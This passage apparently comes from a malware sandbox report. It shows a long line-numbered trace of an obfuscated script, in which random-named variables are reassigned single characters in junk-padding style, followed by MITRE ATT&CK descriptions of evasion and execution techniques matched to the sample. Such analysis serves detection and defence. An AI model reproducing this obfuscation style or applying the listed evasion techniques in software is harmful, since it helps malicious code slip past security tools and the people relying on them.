613	utywfi = "M";
614	utywfi = "E";
615	utywfi = "R";
616	utywfi = "@";
617	pjwkey = "X";
618	pjwkey = "F";
619	pjwkey = "v";
620	pjwkey = "U";
621	pjwkey = "R";
622	pjwkey = "q";
623	pjwkey = "i";
624	pjwkey = "H";
625	pjwkey = "r";
626	pjwkey = "b";
627	pjwkey = "C";
628	pjwkey = "z";
629	pjwkey = "Q";
630	pjwkey = "n";
631	pjwkey = "s";
632	pjwkey = "U";
633	pjwkey = "C";
634	pjwkey = "r";
635	pjwkey = "f";
636	pjwkey = "d";
637	pjwkey = "g";
638	pjwkey = "p";
639	pjwkey = "u";
640	pjwkey = "j";
641	pjwkey = "W";
642	pjwkey = "O";
643	pjwkey = "S";
644	pjwkey = "C";
645	pjwkey = "x";
646	pjwkey = "Z";
647	pjwkey = "g";
648	pjwkey = "r";
649	pjwkey = "t";
650	pjwkey = "x";
651	pjwkey = "C";
652	pjwkey = "u";
653	pjwkey = "w";
654	pjwkey = "s";
655	pjwkey = "J";
656	pjwkey = "A";
657	pjwkey = "d";
658	pjwkey = "U";
659	pjwkey = "P";
660	dnlhd = "W";
661	qkjzab = "E";
662	qkjzab = "\\";
663	ultsopfw = "m";
664	ultsopfw = "a";
665	ultsopfw = "T";
666	ultsopfw = "f";
667	ultsopfw = "r";
668	ultsopfw = "a";
669	ultsopfw = "u";
670	ultsopfw = "z";
671	ultsopfw = "Q";
672	ultsopfw = "W";
673	ultsopfw = "I";
674	ultsopfw = "f";
675	ultsopfw = "x";
676	ultsopfw = "I";
677	kseissmwj = "S";
678	kseissmwj = "Z";
679	kseissmwj = "k";
680	kseissmwj = "R";
681	kseissmwj = "a";
682	kseissmwj = "d";
683	kseissmwj = "m";
684	kseissmwj = "f";
685	kseissmwj = "t";
686	kseissmwj = "e";
687	kseissmwj = "v";
688	kseissmwj = "v";
689	kseissmwj = "o";
690	kseissmwj = "b";
691	kseissmwj = "h";
692	vfcqfb = "b";
693	vfcqfb = "k";
694	vfcqfb = "E";
695	vfcqfb = "D";
696	vfcqfb = "N";
697	vfcqfb = "x";
698	vfcqfb = "c";
699	vfcqfb = "q";
700	vfcqfb = "v";
701	vfcqfb = "S";
702	vfcqfb = "v";
703	vfcqfb = "R";
704	vfcqfb = "Z";
705	vfcqfb = "x";
706	vfcqfb = "s";
707	vfcqfb = "Q";
708	vfcqfb = "M";
709	vfcqfb = "u";
710	vfcqfb = "p";
711	vfcqfb = "n";
712	vfcqfb = "Z";
713	vfcqfb = "v";
714	vfcqfb = "t";
715	vfcqfb = "S";
716	vfcqfb = "j";
717	vfcqfb = "V";
718	vfcqfb = "D";
719	vfcqfb = "I";
720	vfcqfb = "V";
721	vfcqfb = "F";
722	vfcqfb = "o";
723	vfcqfb = "7";
724	brmgiu = "a";
725	brmgiu = "r";
726	brmgiu = "p";
727	brmgiu = "O";
728	brmgiu = "d";
729	brmgiu = "Y";
730	brmgiu = "z";
731	brmgiu = "V";
732	brmgiu = "d";
733	brmgiu = "T";
734	brmgiu = "n";
735	brmgiu = "J";
736	brmgiu = "H";
737	brmgiu = "t";
738	brmgiu = "A";
739	brmgiu = "s";
740	brmgiu = "q";
741	brmgiu = "W";
742	brmgiu = "k";
743	brmgiu = "M";
744	brmgiu = "M";
745	brmgiu = "f";
746	brmgiu = "K";
747	brmgiu = "z";
748	brmgiu = "q";
749	brmgiu = "H";
750	brmgiu = "X";
751	brmgiu = "P";
752	brmgiu = "h";
753	brmgiu = "m";
754	brmgiu = "V";
755	brmgiu = "F";
756	prhos = "P";
757	prhos = "t";
758	prhos = "n";
759	prhos = "n";
760	prhos = "H";
761	prhos = "k";
762	prhos = "G";
763	prhos = "F";
764	prhos = "I";
765	prhos = "x";
766	prhos = "w";
767	prhos = "I";
768	prhos = "b";
769	prhos = "W";
770	prhos = "u";
771	prhos = "h";
772	prhos = "b";
773	prhos = "Z";
774	prhos = "J";
775	prhos = "F";
776	prhos = "o";
777	prhos = "V";
778	prhos = "l";
779	prhos = "U";
780	prhos = "p";
781	prhos = "Y";
782	prhos = "W";
783	prhos = "n";
784	prhos = "x";
785	prhos = "t";
786	prhos = "a";
787	prhos = "t";
788	prhos = "e";
789	prhos = "h";
790	prhos = "z";
791	prhos = "i";
792	prhos = "v";
793	prhos = "E";
794	wolumu = "K";
795	wolumu = "U";
796	wolumu = "s";
797	wolumu = "R";
798	wolumu = "q";
799	wolumu = "N";
800	wolumu = "S";
801	wolumu = "i";
802	wolumu = "Q";
803	ubdjeg = "E";
804	ubdjeg = "C";
805	ubdjeg = "V";
806	ubdjeg = "Y";
807	ubdjeg = "H";
808	ubdjeg = "v";
809	ubdjeg = "X";
810	ubdjeg = "X";
811	ubdjeg = "s";
812	ubdjeg = "b";
813	ubdjeg = "e";
814	ubdjeg = "I";
815	ubdjeg = "d";
816	ubdjeg = "X";
817	ubdjeg = "b";
818	ubdjeg = "k";
819	ubdjeg = "z";
820	ubdjeg = "Z";
821	ubdjeg = "z";
822	ubdjeg = "v";
823	ubdjeg = "J";
824	ubdjeg = "Z";
825	ubdjeg = "a";
826	ubdjeg = "C";
827	ubdjeg = "m";
828	ubdjeg = "x";
829	ubdjeg = "o";
830	ubdjeg = "l";
831	ubdjeg = "s";
832	ubdjeg = "u";
833	ubdjeg = "k";
834	zmhrlkjgt = "a";
835	zmhrlkjgt = "S";
836	zmhrlkjgt = "G";
837	zmhrlkjgt = "m";
838	zmhrlkjgt = "L";
839	zmhrlkjgt = "K";
840	zmhrlkjgt = "D";
841	zmhrlkjgt = "o";
842	zmhrlkjgt = "p";
843	zmhrlkjgt = "l";
844	zmhrlkjgt = "Y";
845	zmhrlkjgt = "U";
846	zmhrlkjgt = "U";
847	zmhrlkjgt = "o";
848	zmhrlkjgt = "s";
849	zmhrlkjgt = "x";
850	zmhrlkjgt = "L";
851	zmhrlkjgt = "J";
852	zmhrlkjgt = "W";
853	zmhrlkjgt = "P";
854	zmhrlkjgt = "Z";
855	zmhrlkjgt = "w";
856	zmhrlkjgt = "l";
857	zmhrlkjgt = "H";
858	zmhrlkjgt = "G";
859	zmhrlkjgt = "W";
860	zmhrlkjgt = "o";
861	zmhrlkjgt = "o";
862	zmhrlkjgt = "p";
863	zmhrlkjgt = "l";
864	zmhrlkjgt = "u";
865	zmhrlkjgt = "e";
866	zmhrlkjgt = "Q";
867	zmhrlkjgt = "M";
868	zmhrlkjgt = "Z";
869	zmhrlkjgt = "K";
870	zmhrlkjgt = "r";
871	zmhrlkjgt = "G";
872	zmhrlkjgt = "p";
873	zmhrlkjgt = "d";
874	zmhrlkjgt = "o";
875	zmhrlkjgt = "F";
876	zmhrlkjgt = "d";
877	zmhrlkjgt = "m";
878	gmycelq = "S";
879	gmycelq = "C";
880	gmycelq = "O";
881	gmycelq = "N";
882	gmycelq = "U";
883	gmycelq = "s";
884	gmycelq = "l";
885	gmycelq = "D";
886	gmycelq = "c";
887	gmycelq = "r";
888	gmycelq = "Z";
889	gmycelq = "J";
890	gmycelq = "w";
891	gmycelq = "Z";
892	gmycelq = "P";
893	gmycelq = "f";
894	gmycelq = "D";
895	gmycelq = "R";
896	gmycelq = "q";
897	gmycelq = "C";
898	gmycelq = "I";
899	gmycelq = "a";
900	gmycelq = "B";
901	gmycelq = "C";
902	gmycelq = "D";
903	gmycelq = "Z";
904	gmycelq = "P";
905	gmycelq = "x";
906	vmsshy = "p";
907	vmsshy = "s";
908	vmsshy = "X";
909	vmsshy = "m";
910	vmsshy = "J";
911	vmsshy = "L";
912	vmsshy = "Q";
913	vmsshy = "x";
914	vmsshy = "a";
915	vmsshy = "W";
916	vmsshy = "T";
917	vmsshy = "g";
918	vmsshy = "J";
919	vmsshy = "H";
920	vmsshy = "W";
921	vmsshy = "D";
922	vmsshy = "R";
923	vmsshy = "z";
924	vmsshy = "w";
925	vmsshy = "K";
926	vmsshy = "W";
927	vmsshy = "n";
928	avtwajfv = "j";
929	avtwajfv = "F";
930	avtwajfv = "D";
931	avtwajfv = "Q";
932	avtwajfv = "e";
933	avtwajfv = "q";
934	avtwajfv = "W";
935	avtwajfv = "h";
936	avtwajfv = "e";
937	avtwajfv = "g";
938	avtwajfv = "U";
939	avtwajfv = "R";
940	avtwajfv = "m";
941	avtwajfv = "k";
942	avtwajfv = "g";
943	avtwajfv = "e";
944	avtwajfv = "U";
945	avtwajfv = "j";
946	avtwajfv = "m";
947	avtwajfv = "e";
948	avtwajfv = "Z";
949	avtwajfv = "Y";
950	avtwajfv = "k";
951	avtwajfv = "s";
952	avtwajfv = "e";
953	avtwajfv = "t";
954	avtwajfv = "H";
955	avtwajfv = "O";
956	avtwajfv = "d";
957	avtwajfv = "n";
958	avtwajfv = "Y";
959	avtwajfv = "M";
960	avtwajfv = "O";
961	avtwajfv = "a";
962	avtwajfv = "x";
963	avtwajfv = "z";
964	avtwajfv = "P";
965	avtwajfv = "p";
966	avtwajfv = "W";
967	avtwajfv = "w";
968	pujqjxlbc = "J";
969	pujqjxlbc = "X";
970	pujqjxlbc = "T";
971	pujqjxlbc = "T";
972	pujqjxlbc = "P";
973	pujqjxlbc = "H";
974	pujqjxlbc = "s";
975	pujqjxlbc = "Q";
976	pujqjxlbc = "h";
977	pujqjxlbc = "K";
978	pujqjxlbc = "M";
979	pujqjxlbc = "X";
980	pujqjxlbc = "C";
981	pujqjxlbc = "z";
982	pujqjxlbc = "x";
983	pujqjxlbc = "i";
984	pujqjxlbc = "S";
985	pujqjxlbc = "g";
986	pujqjxlbc = "W";
987	pujqjxlbc = "K";
988	pujqjxlbc = "O";
989	pujqjxlbc = "e";
990	pujqjxlbc = "X";
991	pujqjxlbc = "T";
992	pujqjxlbc = "W";
993	pujqjxlbc = "B";
994	pujqjxlbc = "F";
995	pujqjxlbc = "y";
996	pujqjxlbc = "l";
997	pujqjxlbc = "h";
998	pujqjxlbc = "z";
999	pujqjxlbc = "G";
1000	pujqjxlbc = "w";
1001	pujqjxlbc = "q";
1002	pujqjxlbc = "a";
1003	pujqjxlbc = "p";
1004	pujqjxlbc = "C";
1005	pujqjxlbc = "K";
1006	pujqjxlbc = "u";
1007	ykffyc = "h";
1008	ykffyc = "j";
1009	ykffyc = "k";
1010	ykffyc = "K";
1011	ykffyc = "z";
1012	ykffyc = "Q";
1013	ykffyc = "g";
1014	ykffyc = "E";
1015	ykffyc = "Z";
1016	ykffyc = "G";
1017	ykffyc = "Q";
1018	ykffyc = "A";
1019	ykffyc = "p";
1020	ykffyc = "o";
1021	ykffyc = "W";
1022	ykffyc = "C";
1023	ykffyc = "V";
1024	ykffyc = "f";
1025	ykffyc = "q";
1026	ykffyc = "k";
1027	ykffyc = "j";
1028	ykffyc = "G";
1029	ykffyc = "F";
1030	ykffyc = "V";
1031	ykffyc = "c";
1032	ykffyc = "k";
1033	ykffyc = "C";
1034	ykffyc = "t";
1035	ykffyc = "q";
1036	ykffyc = "e";
1037	ykffyc = "P";
1038	ykffyc = "a";
1039	ykffyc = "E";
1040	ykffyc = "v";
1041	ykffyc = "F";
1042	ykffyc = "J";
1043	ykffyc = "i";
1044	ykffyc = "B";
1045	ykffyc = "K";
1046	ykffyc = "k";
1047	ykffyc = "k";
1048	ykffyc = "m";
1049	ykffyc = "p";
1050	ykffyc = "K";
1051	ykffyc = "v";
1052	znzjom = "G";
1053	znzjom = "m";
1054	znzjom = "a";
1055	znzjom = "A";
1056	znzjom = "a";
1057	znzjom = "r";
1058	znzjom = "f";
1059	znzjom = "o";
1060	znzjom = "O";
1061	znzjom = "z";
1062	znzjom = "u";
1063	znzjom = "8";
1064	zniixijcd = "C";
1065	zniixijcd = "Z";
1066	zniixijcd = "n";
1067	zniixijcd = "q";
1068	zniixijcd = "Y";
1069	zniixijcd = "b";
1070	zniixijcd = "L";
1071	zniixijcd = "H";
1072	zniixijcd = "M";
1073	zniixijcd = "S";
1074	zniixijcd = "o";
1075	zniixijcd = "T";
1076	zniixijcd = "t";
1077	zniixijcd = "K";
1078	zniixijcd = "R";
1079	zniixijcd = "s";
1080	zniixijcd = "s";
1081	zniixijcd = "L";
1082	qrofjzpm = "S";
1083	qrofjzpm = "p";
1084	qrofjzpm = "f";
1085	qrofjzpm = "R";
1086	qrofjzpm = "y";
1087	qrofjzpm = "E";
1088	qrofjzpm = "x";
1089	qrofjzpm = "H";
1090	qrofjzpm = "E";
1091	qrofjzpm = "S";
1092	qrofjzpm = "a";
1093	qrofjzpm = "K";
1094	qrofjzpm = "z";
1095	qrofjzpm = "L";
1096	qrofjzpm = "A";
1097	qrofjzpm = "o";
1098	qrofjzpm = "i";
1099	qrofjzpm = "k";
1100	qrofjzpm = "U";
1101	qrofjzpm = "G";
1102	qrofjzpm = "I";
1103	qrofjzpm = "R";
1104	qrofjzpm = "H";
1105	qrofjzpm = "N";
1106	qrofjzpm = "G";
1107	qrofjzpm = "h";
1108	qrofjzpm = "e";
1109	qrofjzpm = "p";
1110	qrofjzpm = "a";
1111	qrofjzpm = "W";
1112	qrofjzpm = "Z";
1113	qrofjzpm = "v";
1114	qrofjzpm = "G";
1115	qrofjzpm = "J";
1116	qrofjzpm = "t";
1117	qrofjzpm = "g";
1118	qrofjzpm = "U";
1119	qrofjzpm = "o";
1120	qrofjzpm = "W";
1121	qrofjzpm = "n";
1122	qrofjzpm = "u";
1123	qrofjzpm = "z";
1124	qrofjzpm = "C";
1125	zosff = "N";
1126	zosff = "c";
1127	zosff = "f";
1128	zosff = "O";
1129	zosff = "k";
1130	zosff = "k";
1131	zosff = "X";
1132	zosff = "k";
1133	zosff = "V";
1134	zosff = "Y";
1135	zosff = "R";
1136	zosff = "A";
1137	zosff = "I";
1138	zosff = "X";
1139	zosff = "B";
1140	zosff = "m";
1141	zosff = "C";
1142	zosff = "q";
1143	zosff = "e";
1144	zosff = "j";
1145	zosff = "a";
1146	zosff = "e";
1147	zkmejan = "T";
1148	zkmejan = "Y";
1149	zkmejan = "K";
1150	zkmejan = "d";
1151	zkmejan = "V";
1152	zkmejan = "H";
1153	zkmejan = "J";
1154	zkmejan = "l";
1155	zkmejan = "S";
1156	zkmejan = "S";
1157	zkmejan = "b";
1158	zkmejan = "O";
1159	zkmejan = "q";
1160	zkmejan = "d";
1161	zkmejan = "R";
1162	zkmejan = "j";
1163	zkmejan = "w";
1164	zkmejan = "z";
1165	zkmejan = "V";
1166	zkmejan = "C";
1167	zkmejan = "F";
1168	zkmejan = "b";
1169	zkmejan = "Z";
1170	zkmejan = "u";
1171	zkmejan = "v";
1172	zkmejan = "P";
1173	zkmejan = "r";
1174	zkmejan = "F";
1175	zkmejan = "u";
1176	zkmejan = "u";
1177	zkmejan = "I";
1178	zkmejan = "o";
1179	zkmejan = "K";
1180	zkmejan = "q";
1181	zkmejan = "u";
1182	zkmejan = "u";
1183	zkmejan = "L";
1184	zkmejan = "x";
1185	zkmejan = "p";
1186	opbkrba = "j";
1187	opbkrba = "h";
1188	opbkrba = "X";
1189	opbkrba = "I";
1190	opbkrba = "z";
1191	opbkrba = "l";
1192	opbkrba = "v";
1193	opbkrba = "L";
1194	opbkrba = "Y";
1195	opbkrba = "R";
1196	opbkrba = "K";
1197	opbkrba = "h";
1198	opbkrba = "K";
1199	opbkrba = "X";
1200	opbkrba = "c";
1201	opbkrba = "h";
1202	opbkrba = "P";
1203	opbkrba = "p";
1204	opbkrba = "a";
1205	opbkrba = "m";
1206	opbkrba = "I";
1207	opbkrba = "j";
1208	opbkrba = "o";
1209	opbkrba = "N";
1210	opbkrba = "f";
1211	opbkrba = "s";
1212	opbkrba = "I";
1213	opbkrba = "W";
1214	opbkrba = "z";
1215	opbkrba = "b";
1216	opbkrba = "x";
1217	opbkrba = "E";
1218	opbkrba = "Q";
1219	opbkrba = "X";
1220	opbkrba = "c";
1221	nzwnils = "R";
1222	nzwnils = "w";
1223	nzwnils = "p";
1224	nzwnils = "H";
1225	nzwnils = "m";
1226	nzwnils = "s";
1227	nzwnils = "G";
1228	nzwnils = "D";
1229	nzwnils = "d";
1230	nzwnils = "L";
1231	nzwnils = "g";
1232	nzwnils = "m";
1233	nzwnils = "A";
1234	nzwnils = "a";
1235	nzwnils = "A";
1236	nzwnils = "M";
1237	nzwnils = "M";
1238	nzwnils = "s";
1239	nzwnils = "c";
1240	nzwnils = "k";
1241	nzwnils = "N";
1242	nzwnils = "A";
1243	nzwnils = "h";
1244	nzwnils = "x";
1245	nzwnils = "c";
1246	nzwnils = "M";
1247	nzwnils = "n";
1248	nzwnils = "2";
1249	vdnkt = "Q";
1250	vdnkt = "z";
1251	vdnkt = "D";
1252	vdnkt = "e";
1253	vdnkt = "p";
1254	vdnkt = "c";
1255	vdnkt = "X";
1256	vdnkt = "R";
1257	vdnkt = "F";
1258	vdnkt = "Z";
1259	vdnkt = "L";
1260	vdnkt = "z";
1261	vdnkt = "d";
1262	vdnkt = "R";
1263	vdnkt = "Q";
1264	vdnkt = "f";
1265	vdnkt = "E";
1266	vdnkt = "n";
1267	vdnkt = "E";
1268	vdnkt = "T";
1269	vdnkt = "u";
1270	vdnkt = "Q";
1271	vdnkt = "u";
1272	vdnkt = "U";
1273	vdnkt = "k";
1274	vdnkt = "u";
1275	vdnkt = "V";
1276	vdnkt = "M";
1277	vdnkt = "E";
1278	vdnkt = "j";
1279	vdnkt = "b";
1280	vdnkt = "n";
1281	vdnkt = "K";
1282	movidguz = "V";
1283	movidguz = "U";
1284	movidguz = "R";
1285	movidguz = "Z";
1286	movidguz = "o";
1287	movidguz = "Z";
1288	movidguz = "G";
1289	movidguz = "B";
1290	movidguz = "R";
1291	movidguz = "r";
1292	movidguz = "n";
1293	movidguz = "p";
1294	movidguz = "v";
1295	movidguz = "g";
1296	movidguz = "j";
1297	movidguz = "I";
1298	movidguz = "S";
1299	iplfx = "Z";
1300	iplfx = "D";
1301	iplfx = "M";
1302	iplfx = "X";
1303	iplfx = "T";
1304	iplfx = "b";
1305	iplfx = "r";
1306	iplfx = "X";
1307	iplfx = "K";
1308	iplfx = "n";
1309	iplfx = "o";
1310	iplfx = "X";
1311	iplfx = "q";
1312	iplfx = "v";
1313	iplfx = "g";
1314	iplfx = "C";
1315	iplfx = "Q";
1316	iplfx = "x";
1317	iplfx = "M";
1318	iplfx = "g";
1319	iplfx = "k";
1320	iplfx = "S";
1321	iplfx = "d";
1322	iplfx = "j";
1323	iplfx = "d";
1324	iplfx = "q";
1325	iplfx = "S";
1326	iplfx = "v";
1327	iplfx = "n";
1328	iplfx = "c";
1329	iplfx = "s";
1330	iplfx = "g";
1331	iplfx = "M";
1332	iplfx = "a";
1333	iplfx = "M";
1334	iplfx = "r";
1335	iplfx = "M";
1336	iplfx = "i";
1337	iplfx = "q";
1338	mkkaj = "g";
1339	mkkaj = "F";
1340	mkkaj = "d";
1341	mkkaj = "J";
1342	mkkaj = "v";
1343	mkkaj = "K";
1344	mkkaj = "w";
1345	mkkaj = "G";
1346	mkkaj = "u";
1347	mkkaj = "n";
1348	mkkaj = "g";
1349	mkkaj = "p";
1350	mkkaj = "I";
1351	mkkaj = "f";
1352	mkkaj = "F";
1353	mkkaj = "k";
1354	mkkaj = "D";
1355	mkkaj = "S";
1356	mkkaj = "L";
1357	mkkaj = "d";
1358	mkkaj = "z";
1359	mkkaj = "J";
1360	mkkaj = "B";
1361	mkkaj = "C";
1362	mkkaj = "z";
1363	mkkaj = "R";
1364	mkkaj = "H";
1365	mkkaj = "Q";
1366	mkkaj = "d";
1367	mkkaj = "s";
1368	mkkaj = "Z";
1369	mkkaj = "x";
1370	mkkaj = "p";
1371	mkkaj = "y";
1372	mkkaj = "k";
1373	mkkaj = "I";
1374	mkkaj = "g";
1375	mkkaj = "W";
1376	mkkaj = "v";
1377	mkkaj = "y";
1378	mkkaj = "d";
1379	mkkaj = "m";
1380	mkkaj = "-";
1381	kopghfp = "E";
1382	kopghfp = "E";
1383	kopghfp = "P";
1384	kopghfp = "u";
1385	kopghfp = "F";
1386	kopghfp = "I";
1387	kopghfp = "L";
1388	kopghfp = "n";
1389	kopghfp = "o";
1390	kopghfp = "K";
1391	kopghfp = "Q";
1392	kopghfp = "Y";
1393	kopghfp = "W";
1394	kopghfp = "x";
1395	kopghfp = "G";
1396	kopghfp = "E";
1397	kopghfp = "F";
1398	kopghfp = "p";
1399	kopghfp = "v";
1400	kopghfp = "M";
1401	kopghfp = "u";
1402	kopghfp = "A";
1403	kopghfp = "o";
1404	kopghfp = "V";
1405	kopghfp = "Q";
1406	kopghfp = "R";
1407	kopghfp = "c";
1408	kopghfp = "Z";
1409	kopghfp = "k";
1410	kopghfp = "z";
1411	kopghfp = "J";
1412	kopghfp = "H";
1413	kopghfp = "R";
1414	kopghfp = "E";
1415	kopghfp = "d";
1416	kopghfp = "t";
1417	kopghfp = "C";
1418	kopghfp = "_";
1419	szwlwi = "I";
1420	szwlwi = "S";
1421	szwlwi = "b";
1422	szwlwi = "p";
1423	szwlwi = "y";
1424	szwlwi = "G";
1425	szwlwi = "S";
1426	szwlwi = "D";
1427	szwlwi = "T";
1428	szwlwi = "I";
1429	szwlwi = "n";
1430	szwlwi = "Q";
1431	szwlwi = "L";
1432	szwlwi = "d";
1433	szwlwi = "B";
1434	szwlwi = "H";
1435	szwlwi = "u";
1436	szwlwi = "w";
1437	szwlwi = "X";
1438	szwlwi = "v";
1439	szwlwi = "t";
1440	szwlwi = "B";
1441	szwlwi = "r";
1442	szwlwi = "f";
1443	szwlwi = "D";
1444	szwlwi = "A";
1445	szwlwi = "W";
1446	szwlwi = "H";
1447	szwlwi = "W";
1448	szwlwi = "C";
1449	szwlwi = "F";
1450	szwlwi = "W";
1451	szwlwi = "t";
1452	szwlwi = "j";
1453	szwlwi = "v";
1454	szwlwi = "D";
1455	szwlwi = "b";
1456	szwlwi = "n";
1457	szwlwi = "Q";
1458	szwlwi = "n";
1459	szwlwi = "l";
1460	exxijihp = "i";
1461	exxijihp = "y";
1462	exxijihp = "I";
1463	exxijihp = "A";
1464	exxijihp = "g";
1465	exxijihp = "m";
1466	exxijihp = "v";
1467	exxijihp = "e";
1468	exxijihp = "C";
1469	exxijihp = "l";
1470	exxijihp = "q";
1471	exxijihp = "j";
1472	exxijihp = "e";
1473	exxijihp = "k";
1474	exxijihp = "F";
1475	exxijihp = "R";
1476	exxijihp = "m";
1477	exxijihp = "i";
1478	exxijihp = "d";
1479	exxijihp = "z";
1480	exxijihp = "T";
1481	exxijihp = "a";
1482	exxijihp = "L";
1483	exxijihp = "a";
1484	exxijihp = "j";
1485	exxijihp = "D";
1486	exxijihp = "k";
1487	exxijihp = "d";
1488	exxijihp = "b";
1489	exxijihp = "i";
1490	exxijihp = "t";
1491	exxijihp = "v";
1492	exxijihp = "U";
1493	exxijihp = "x";
1494	exxijihp = "Q";
1495	exxijihp = "b";
1496	exxijihp = "a";
1497	exxijihp = "Z";
1498	exxijihp = "t";
1499	exxijihp = "U";
1500	exxijihp = "T";
1501	exxijihp = "d";
1502	mqszzge = "Z";
1503	mqszzge = "b";
1504	mqszzge = "D";
1505	mqszzge = "h";
1506	mqszzge = "M";
1507	mqszzge = "g";
1508	mqszzge = "Q";
1509	mqszzge = "Z";
1510	mqszzge = "X";
1511	mqszzge = "T";
1512	mqszzge = "K";
1513	mqszzge = "H";
1514	gtsoafvjq = "D";
1515	gtsoafvjq = "P";
1516	gtsoafvjq = "P";
1517	gtsoafvjq = "T";
1518	gtsoafvjq = "V";
1519	gtsoafvjq = "p";
1520	gtsoafvjq = "J";
1521	gtsoafvjq = "P";
1522	gtsoafvjq = "G";
1523	gtsoafvjq = "y";
1524	gtsoafvjq = "i";
1525	gtsoafvjq = "w";
1526	gtsoafvjq = "N";
1527	gtsoafvjq = "G";
1528	gtsoafvjq = "Z";
1529	gtsoafvjq = "H";
1530	gtsoafvjq = "C";
1531	gtsoafvjq = "H";
1532	gtsoafvjq = "j";
1533	gtsoafvjq = "W";
1534	gtsoafvjq = "C";
1535	gtsoafvjq = ":";
1536	vghophl ( );	vghophl() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

